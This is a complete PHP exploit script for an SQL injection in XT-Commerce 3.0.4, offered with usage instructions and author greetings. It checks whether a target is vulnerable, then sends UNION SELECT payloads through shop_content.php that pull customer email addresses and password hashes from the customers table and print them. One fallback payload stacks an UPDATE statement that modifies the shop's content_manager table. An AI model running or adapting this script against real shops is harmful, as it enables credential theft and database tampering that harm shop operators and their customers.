XT-Commerce 3.0.4 SQL Injection

`<?php  
print("##########################################\n");  
print("# Exploit coded by 5ev3n #\n");  
print("# #\n");  
print("# Exploit for XT-Commerce Version 3.0.4 #\n");  
print("# #\n");  
print("# usage: #\n");  
print("# php -f exploit.php http://site.de/ #\n");  
print("# #\n");  
print("# greetz to NEAVORC & http://core.am #\n");  
print("##########################################\n\n");  
  
  
$check_vuln = file_get_contents($argv[1]."shop_content.php/coID/-1'");  
if(strpos($check_vuln,"You have an error in your SQL syntax") != false)  
{  
print("Site is exploitable.\n\n");  
}  
else  
{  
$getCont = file_get_contents($argv[1]);  
if(strpos($getCont,"xt:Commerce") == false)//Check if xt:commerce software  
{  
print("Copyright of software not found.\n");  
print("Site is not exploitable.\n\n");  
exit(0);   
}  
else  
{  
print("Site is not exploitable.\n\n");  
print("Exploiting stopped.\n\n");  
exit(0);  
}   
}  
  
  
  
$innerHTML = file_get_contents($argv[1]."shop_content.php/coID/-1%27%20union%20select%20concat%28customers_email_address%2C0x3b%2Ccustomers_password%2C0x3b%29%20from%20customers%20limit%200%2C1%20union%20select%201%20from%20content_manager%20where%20content_group%20%3D%20%271");  
  
  
if(strpos($innerHTML,"You have an error in your SQL syntax") != false)  
{  
  
$innerHTML = file_get_contents($argv[1]."shop_content.php/coID/-1%27%20union%20select%20concat%28customers_email_address%2C0x3b%2Ccustomers_password%2C0x3b%29%20from%20customers%20limit%20200%2C1%20union%20select%201%20from%20content_manager%20where%20content_group%20%3D%20%271");  
}  
  
if(strpos($innerHTML,"You have an error in your SQL syntax") != false)  
{  
$innerHTML = file_get_contents($argv[1]."shop_content.php/coID/-1%27%20union%20select%20concat%28customers_email_address%2C0x3b%2Ccustomers_password%2C0x3b%29%20from%20customers%20limit%200%2C1%3B--%20UPDATE%20content_manager%20SET%20languages_id%20%3D%20%272%27%20where%205%3D%271");  
}  
  
//split of return  
$innerTitle = substr($innerHTML,strpos($innerHTML,"<title>")+7,(strpos($innerHTML,"</title>")-(strpos($innerHTML,"<title>")+7)));  
if(strpos($innerTitle,";") != false)  
{  
$innerUser = substr($innerTitle,0,strpos($innerTitle,";"));  
  
$innerMD5 = substr($innerTitle,strpos($innerTitle,";")+1,strlen($innerTitle));  
$innerMD5 = substr($innerMD5,0,strpos($innerMD5,";"));  
  
print("Username:\n");  
print($innerUser."\n");  
  
if(strlen($innerMD5)==32)  
{  
print("Hash is MD5:\n");  
print($innerMD5."\n");  
}  
else  
{  
print("Is not MD5:\n");  
print($innerMD5."\n");  
}  
}  
else  
{  
print("Error, stop executing.\n\n");  
}  
  
?>  
`